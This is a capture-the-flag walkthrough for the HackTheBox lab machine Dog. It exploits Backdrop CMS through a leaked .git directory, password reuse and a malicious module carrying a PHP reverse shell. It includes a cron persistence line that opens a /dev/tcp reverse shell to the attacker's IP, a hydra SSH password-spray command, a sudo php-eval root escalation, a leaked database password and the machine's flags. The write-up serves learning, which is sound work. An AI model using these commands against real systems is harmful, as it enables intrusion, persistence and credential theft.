HackTheBox | Dog

In this walkthrough, I demonstrate how I obtained complete ownership of Dog on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Dog from Hack The Box!
I have just owned machine Dog from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon Mar 10 11:03:07 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.18.198
Nmap scan report for 10.129.18.198
Host is up (0.091s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git: 
|   10.129.18.198:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 10 11:03:50 2025 -- 1 IP address (1 host up) scanned in 43.13 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. We can see quite a few interesting things in the tcp/80 output, including .git directory, as well as some robots.txt entries. We also see mention of a CMS called Backdrop CMS.





Service Enumeration

TCP/80

ℹ️
Normally, I'd plug in some info about walking the application before jumping into the web application pentest. However, since this is a blog which doesn't have a lot of user interaction other than reading content, we'll just jump right into the assessment.



Test Robots URLs

Even though we aren't going to go through the initial walking of the application, per se, we are going to make sure we thoroughly map and expose the web app's attack surface.

robots.txt (Show / Hide)

#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html
#
# For syntax checking, see:
# http://www.robotstxt.org/checker.html

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /core/
Disallow: /profiles/
# Files
Disallow: /README.md
Disallow: /web.config
# Paths (clean URLs)
Disallow: /admin
Disallow: /comment/reply
Disallow: /filter/tips
Disallow: /node/add
Disallow: /search
Disallow: /user/register
Disallow: /user/password
Disallow: /user/login
Disallow: /user/logout
# Paths (no clean URLs)
Disallow: /?q=admin
Disallow: /?q=comment/reply
Disallow: /?q=filter/tips
Disallow: /?q=node/add
Disallow: /?q=search
Disallow: /?q=user/password
Disallow: /?q=user/register
Disallow: /?q=user/login
Disallow: /?q=user/logout
curl -s http://$target/robots.txt | grep Disallow | cut -d ' ' -f 2 > wordlist.txt
gobuster dir -u 'http://10.129.18.198' -w wordlist.txt -q -o dir.txt
/README.md            (Status: 200) [Size: 5285]
/core/                (Status: 200) [Size: 2914]
/?q=user/register     (Status: 403) [Size: 7622]
/?q=user/password     (Status: 200) [Size: 8789]
/?q=admin             (Status: 403) [Size: 7671]
/?q=user/login        (Status: 200) [Size: 9124]
/?q=node/add          (Status: 403) [Size: 7671]
/?q=filter/tips       (Status: 200) [Size: 14957]
/?q=search            (Status: 403) [Size: 7622]
/?q=user/logout       (Status: 403) [Size: 7622]

HTTP 403 is just as interesting as HTTP 200 in the context of, "What are we not allowed to access?"

Looking at the README file is enlightening, as we know the server is running a LAMP stack
Directory listing is enabled on /core/



Testing Git Directory

Indeed, it looks like there is a .git directory exposed
git-dumper | 0xBEN | Notes
Python environments are externally managed by apt on Kali Linux, so use pipx or a virtual environmen…
git-dumper http://10.129.18.198/.git git_loot
settings.php is almost certainly going to have some goodies
grep -vE '^\ \*|^/\*\*|^//|^$' settings.php

Use grep to search the settings file and ignore any empty lines, or lines starting with a comment.

We found the database password for the root user and the salt used for password hashes
git rev-list --all | xargs git -P grep --color -air "\.htb" | sort -u

grep recursively for any .htb strings which might indicate a domain, URL, email, etc...

tiffany@dog.htb
grep -air 'tiffany'

See if tiffany appears in any other files



Testing Login

We found the database password in the settings.php file and a possible username in the update.settings.json file. Whenever you encounter a password, it's always a good idea to test for reuse across other accounts and services.

I entered a junk email and found that we can verify if an account is valid
Testing with tiffany@dog.htb and a junk password, the error seems to confirm a valid account
Indeed, the password for the database is reused as Tiffany's password





Exploit

Remote Code Execution

Malicious Module

Usually in CMS that are modular in nature, such as this one and WordPress, there are potentially many ways to get remote code execution by modifying or uploading themes, modules, or any other artifact that executes PHP.

💡
I tried playing around with the site import / export setting and allowing .php, .phar, .php5, .php6, .php7 files, but the system automatically appended _.txt to these file types. So, my next thought was to explore the modules sytem.
Backdrop Module Examples For Developers | Backdrop CMS

Some example modules

https://github.com/backdrop-contrib/examples/releases/download/1.x-1.0.1/examples.zip

Download the examples archive

unzip examples.zip

Expand the archive

I got started by exploring different sub-directories and their contents to understand how a basic module is written.

The first module I tried tampering with was simple_test, but when I uploaded the module, the server threw an error about PHP cURL library not being installed.

The next module I tried is the menu_example module, as I figured, this would show the module in the admin banner and be simple enough to tamper with.

wget https://github.com/ivan-sincek/php-reverse-shell/raw/refs/heads/master/src/reverse/php_reverse_shell.php \
-O examples/menu_example/menu_example.module

My gut instinct is that the .module file is the actual module that's loaded, so try and overwrite this first

sed -i "s/'127.0.0.1', 9000/'10.10.14.132', 443/g" examples/menu_example/menu_example.module

Replace the reverse shell target with VPN IP and port

Upon uploading this module, the server throws an error that the type attribute is missing in the .info file.
nano examples/menu_example/menu_example.info
name = Menu example
description = An example of advanced uses of the menu APIs.
package = Example modules
version = BACKDROP_VERSION
backdrop = 1.x

; Added by Backdrop CMS packaging script on 2017-06-24
project = examples
version = 1.x-1.0.1
timestamp = 1498309295

Before

name = Menu example
description = An example of advanced uses of the menu APIs.
package = Example modules
version = BACKDROP_VERSION
backdrop = 1.x
type = module

; Added by Backdrop CMS packaging script on 2017-06-24
project = examples
version = 1.x-1.0.1
timestamp = 1498309295

After -- adds type = module as a best guess

tar -czvf menu_example.tar.gz examples/menu_example



Install the Module

Click "Manual installation"
Choose your menu_example.tar.gz file and click "Install"
Successfully installed



Trigger the Reverse Shell

sudo rlwrap nc -lnvp 443
Check the box
Save the configuration



Quality of Life Improvements

Establish Persistence

crontab -l 2>/dev/null > /tmp/crontab.txt

Output any existing cron jobs, so we don't overwrite

echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.132/443 0>&1'" >> /tmp/crontab.txt

Append reverse shell run at every minute

Update your VPN IP and port accordingly
crontab /tmp/crontab.txt

Now, if you lose your reverse shell, you don't need to go through the process of uploading your module. You can just wait for the next crontab to run (every minute) and catch a new reverse shell.



TTY Shell

python3 -c "import pty; pty.spawn('/bin/bash')"





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Linux dog 5.4.0-208-generic #228-Ubuntu SMP Fri Feb 7 19:41:33 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on dog.   



Users and Groups

Local Users

jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash    

Local Groups

jobert:x:1000:jobert
johncusack:x:1001:   



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:0e:e9 brd ff:ff:ff:ff:ff:ff
    inet 10.129.24.7/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3065sec preferred_lft 3065sec
    inet6 dead:beef::250:56ff:fe94:ee9/64 scope global dynamic mngtmpaddr 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:fe94:ee9/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -    





Privilege Escalation

Dump Hashes from Database

We found the database password early on in the assessment of this target. Now that we have a foothold on the box, this is a perfect opportunity to search for more information there, especially things like user passwords / hashes.

mysql -u root -p'BackDropJ2024DS2024'
Use the backdrop database and show the table names
A little messy, let's clean it up by selecting only interesting columns
Unfortunately, these hashes don't appear to crack with rockyou.txt, so I suspect this is not the correct avenue.



Test Password Reuse

Again, since we know johncusack and jobert are valid local accounts, and since I'm not seeing any privilege escalation paths via the database or any other items on the system, let's test the old password we found.

echo -e 'jobert\njohncusack' > users.txt
echo 'BackDropJ2024DS2024' > pass.txt
hydra -I -f -v -L users.txt -P pass.txt ssh://10.129.24.7



Lateral to John Cusack

ssh johncusack@10.129.24.7
Always a good thing to check upon switching users
Just a symbolic link back to a PHP script
Help output
💡
You either need to specify the installation directory of Backdrop CMS or cd /var/www/html for the command to work, as it needs to be able to find /{install_dir}/ + core/include/bootstrap.inc.
require_once needs to be able to find the bootstrap.inc file
Using the php-eval tool is the most straightforward way to getting command execution



Becoming Root

sudo /usr/local/bin/bee php-eval "system('/bin/bash -ip');"



Flags

User

2c7d5945b3b107853a9715856968c24b

Root

88e62abfea6fd4048a0eb62c76e95db7
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.